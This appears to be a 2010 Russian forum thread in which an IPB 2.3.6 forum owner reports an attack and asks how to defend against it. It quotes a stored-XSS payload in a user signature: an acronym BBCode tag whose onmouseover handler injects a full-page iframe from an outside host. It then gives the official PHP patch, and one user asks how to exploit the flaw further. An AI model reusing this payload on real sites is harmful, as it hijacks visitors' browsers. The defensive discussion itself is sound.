Пытаются ломануть через тег ipb

Discussion in 'Песочница' started by goha, 7 Mar 2010.

  1. goha

    goha New Member

    Joined:
    16 Nov 2009
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    Есть форум ipb 2 3 6

    один пользователь прислал в ЛС некое сообщение, при прокрутке скролом страницы перекинуло на другой сайт и вернуло обратно. В подписи юзера оказался следующий код

    HTML:
    [color="#EEF2F7"][acronym=test1[acronym=test2 onmouseover=document.write("\x3Ciframe\x20src=http://****.freehostia.com/\x20frameborder=0\x20width=1024\x20height=3186\x20scrolling=no\x3E\x3C/iframe\x3E");document.close(); ]_]___________________________________________________________________________[/acronym]_[/acronym][/color]

    вот как работает тег акронима:
    Code:
    [acronym='Laugh Out Loud']lol[/acronym]
    
    
    <acronym title='{option}'>{content}</acronym>
    Как защититься и что делать?
     
    #1 goha, 7 Mar 2010
    Last edited: 30 Mar 2010
  2. goha

    goha New Member

    Joined:
    16 Nov 2009
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
  3. POS_troi

    POS_troi Elder - Старейшина

    Joined:
    1 Dec 2006
    Messages:
    1,569
    Likes Received:
    466
    Reputations:
    108
    добавь фильтрацию параметров - передаваемых в acronym
     
  4. goha

    goha New Member

    Joined:
    16 Nov 2009
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    Мозг вещь хорошая но еще нужны знания, у меня их нет чтобы баг фиксануть

    http://forums.ibresource.ru/index.php?showtopic=60138

    Вон, как показывает практика уязвимы все двойки ipb, я думаю баг знающие люди найдут способ и к тройке применить
     
  5. goha

    goha New Member

    Joined:
    16 Nov 2009
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    Официальный фикс xss с акронимом в 2.3.6

    Изменения

    sources/classes/bbcode/class_bbcode_core.php

    найти

    Code:
    # XSS Check: Bug ID: 980
    							if ( $row['bbcode_tag'] == 'post' OR $row['bbcode_tag'] == 'topic' OR $row['bbcode_tag'] == 'snapback' )
    							{
    								$match[ $_option ][$i] = intval( $match[ $_option ][$i] );
    							}
    Добавить ниже

    Code:
    							# XSS acronym
    							if ( $row['bbcode_tag'] == 'acronym' )
    							{
    								$match[ $_option ][$i]  = preg_replace( "/s((\\\|\)*)t((\\\|\)*)y((\\\|\)*)l((\\\|\)*)e((\\\|\)*)=/is", "st yle=", $match[ $_option ][$i] );
    								$match[ $_option ][$i]  = str_replace( array( ':', ';' ), '', $match[ $_option ][$i] );
    								$match[ $_content ][$i] = preg_replace( "/s((\\\|\)*)t((\\\|\)*)y((\\\|\)*)l((\\\|\)*)e((\\\|\)*)=/is", "st yle=", $match[ $_content ][$i] );
    								$match[ $_content ][$i] = str_replace( array( ':', ';' ), '', $match[ $_content ][$i] );
    							}
    И это все.
     
  6. Totgeliebt

    Totgeliebt New Member

    Joined:
    20 Oct 2009
    Messages:
    37
    Likes Received:
    1
    Reputations:
    0
    кто разобрался как ява скрипт через эту XSS произвести?
     
  7. warlok

    warlok Elder - Старейшина

    Joined:
    17 Feb 2008
    Messages:
    328
    Likes Received:
    142
    Reputations:
    81
    http://forum.antichat.ru/showthread.php?p=997624